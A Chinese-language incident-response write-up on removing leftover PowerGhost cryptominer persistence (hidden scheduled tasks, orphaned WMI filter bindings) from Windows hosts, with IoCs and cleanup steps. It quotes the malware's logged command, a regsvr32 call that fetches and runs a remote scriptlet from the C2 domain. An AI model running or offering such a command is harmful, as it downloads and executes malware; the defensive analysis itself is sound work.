PowerGhost¶
事件背景 ¶
EDR 记录多台主机频繁访问恶意域名 auth[.]to0ls[.]com
,匹配 PowerGhost IoC。
记录命令行:
C:\\Windows\\system32\\regsvr32.EXE /u /s /i:http://auth.to0ls.com:443/antivirus.php scrobj.dll
记录父进程命令行:
C:\\Windows\\system32\\svchost.exe -k netsvcs
查看历史告警,主机每二十分钟一次 DNS 查询,时间非常规律。但在 EDR 中没有发现计划任务,%SystemRoot%\System32\Tasks
目录下也没有对应文件。
排查过程 ¶
详细的病毒分析写在恶意软件分析 ::PowerGhost,排查工作围绕着主机受感染表现和病毒分析时确认的恶意行为进行。
这类告警出现了几个月,过往的手段是 EDR 远程查杀或者让对应人员在终端上查杀一遍。可能是因为多次查杀,本地已经找不到病毒文件,只剩下持久化任务,至少我到场的时候是这样。
登录服务器,使用 Process Monitor 监控启动 regsvr32.exe
的进程,发现每隔 20 分钟就有一次:
启动命令行与 EDR 记录一致:
事件查看器 > Windows 日志 > 应用程序和服务日志 > Microsoft > Windows > TaskScheduler
中找到 ID 为 102(任务完成)的事件,显示计划任务 Microsoft Assist Job
执行成功,每 20 分钟一次:
管理工具 > 任务计划程序 > 任务计划程序库
中没有相关计划任务,%SystemRoot%\\System32\\Tasks\
目录下也没有相关文件,起初以为是病毒使用了计划任务隐藏手段,但后来经过分析,推测可能是历史病毒查杀处置导致的。
既然计划任务还在执行,那么说明注册表中还留有信息,Windows 7 以后计划任务注册表路径为:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
在注册表中找到刚刚看到的计划任务 Microsoft Assist Job
,以及另一个恶意计划任务 SystemFlushDns
。
查找 WMI 持久化:
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
__GENUS : 2
__CLASS : __EventFilter
__SUPERCLASS : __IndicationRelated
__DYNASTY : __SystemClass
__RELPATH : __EventFilter.Name="Systems Manage Filter"
__PROPERTY_COUNT : 6
__DERIVATION : {__IndicationRelated, __SystemClass}
__SERVER : COMPUTERNAME
__NAMESPACE : ROOT\Subscription
__PATH : \\COMPUTERNAME\ROOT\Subscription:__EventFilter.Name="Systems Manage Filter"
CreatorSID : {1, 5, 0, 0...}
EventAccess :
EventNamespace : root\cimv2
Name : Systems Manage Filter
Query : SELECT * FROM __InstanceModificationEvent WITHIN 5601 WHERE TargetInstance ISA 'Win32_PerfFormattedD
ata_PerfOS_System'
QueryLanguage : WQL
PSComputerName : COMPUTERNAME
__GENUS : 2
__CLASS : NTEventLogEventConsumer
__SUPERCLASS : __EventConsumer
__DYNASTY : __SystemClass
__RELPATH : NTEventLogEventConsumer.Name="SCM Event Log Consumer"
__PROPERTY_COUNT : 13
__DERIVATION : {__EventConsumer, __IndicationRelated, __SystemClass}
__SERVER : COMPUTERNAME
__NAMESPACE : ROOT\Subscription
__PATH : \\COMPUTERNAME\ROOT\Subscription:NTEventLogEventConsumer.Name="SCM Event Log Consumer"
Category : 0
CreatorSID : {1, 2, 0, 0...}
EventID : 0
EventType : 1
InsertionStringTemplates : {}
MachineName :
MaximumQueueSize :
Name : SCM Event Log Consumer
NameOfRawDataProperty :
NameOfUserSIDProperty : sid
NumberOfInsertionStrings : 0
SourceName : Service Control Manager
UNCServerName :
PSComputerName : COMPUTERNAME
__GENUS : 2
__CLASS : __FilterToConsumerBinding
__SUPERCLASS : __IndicationRelated
__DYNASTY : __SystemClass
__RELPATH : __FilterToConsumerBinding.Consumer="CommandLineEventConsumer.Name=\"Systems Manage Consumer\"
",Filter="__EventFilter.Name=\"Systems Manage Filter\""
__PROPERTY_COUNT : 7
__DERIVATION : {__IndicationRelated, __SystemClass}
__SERVER : COMPUTERNAME
__NAMESPACE : ROOT\Subscription
__PATH : \\COMPUTERNAME\ROOT\Subscription:__FilterToConsumerBinding.Consumer="CommandLineEventConsume
r.Name=\"Systems Manage Consumer\"",Filter="__EventFilter.Name=\"Systems Manage Filter\""
Consumer : CommandLineEventConsumer.Name="Systems Manage Consumer"
CreatorSID : {1, 5, 0, 0...}
DeliverSynchronously : False
DeliveryQoS :
Filter : __EventFilter.Name="Systems Manage Filter"
MaintainSecurityContext : False
SlowDownProviders : False
PSComputerName : COMPUTERNAME
发现持久化 WMI 过滤器 Systems Manage Filter
及其绑定,但消费者没有了。
处置方案 ¶
根据病毒行为,完整的处置方案如下:
- 停止并删除相关进程:
- 终止所有可疑的 PowerShell 进程
- 查找并终止挖矿进程
- 删除 WMI 持久化并重启 WMI 服务
- 过滤器:
Systems Manage Filter
- 消费者:
Systems Manage Consumer
- 绑定:
Systems Manage
- 管理类:
Window_Core_Flush_Cach
- 过滤器:
- 删除计划任务并重启计划任务服务
SystemFlushDns
Microsoft Assist Job
- 恢复 Windows Defender 设置
- 删除临时文件
$env:temp\cohernece.exe
$env:temp\java-log-9527.log
- 移除 IPsec 规则
netbc
- 恢复电源设置
- 阻止连接到 C2 服务器
auth[.]to0ls[.]com
mail[.]to0ls[.]com
但我这里情况特殊,只有残留计划任务和 WMI,所以我的处置方案只需要:
- 删除计划任务注册表项,重启计划任务服务
- 删除 WMI 持久化,重启 WMI 服务
- 在 hosts 里将
auth[.]to0ls[.]com
映射到127.0.0.1
修改注册表需要权限,用了 PsExec。
处置脚本如下,放在 PsExec64.exe
的同目录运行。我不是 PowerShell 高手,Claude 帮忙写的,总得来说算一个清理脚本。
PowerGhost-Cleanup.ps1 | |
---|---|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
|
参考 ¶
- ThreatBook SandBox Report: vercheck.ps1(b09db8539a449f671eb2e3b73e573e82288d1fa0edbe001a7b8e8d982f36446c)
- ThreatBook SandBox Report: vercheck.ps1(4566d352c3f21b13b0b63dfb85525144df0e53bd9bfe77f0b4e03670f3295ad5)
- ThreatBook SandBox Report: antivirus[1].php(7c9f4dd19e10a964b683107e8d7c1409e1dc7873c141cdb130bd3326dd0f9980)
- ThreatBook SandBox Report: aantivirus03DHW5V7.php(d48a6910ee332526b10d077dc0194542e6639d5dc21188eb4f3e01c47108b966)
- ANY.RUN: vercheck.ps1
- Securonix Threat Research Knowledge Sharing Series: Hiding the PowerShell Execution Flow
- WuKung 病毒处置办法:Powershell 无文件挖矿查杀方法
- Microsoft Learn: Windows Server/Windows/commands/regsvr32
- Windows 与 Linux 双平台无文件攻击:PowerGhost 挖矿病毒最新变种感染多省份
- SECURELIST: A mining multitool
- 计划任务的攻防战 | Window 应急响应
- Windows 计划任务的进阶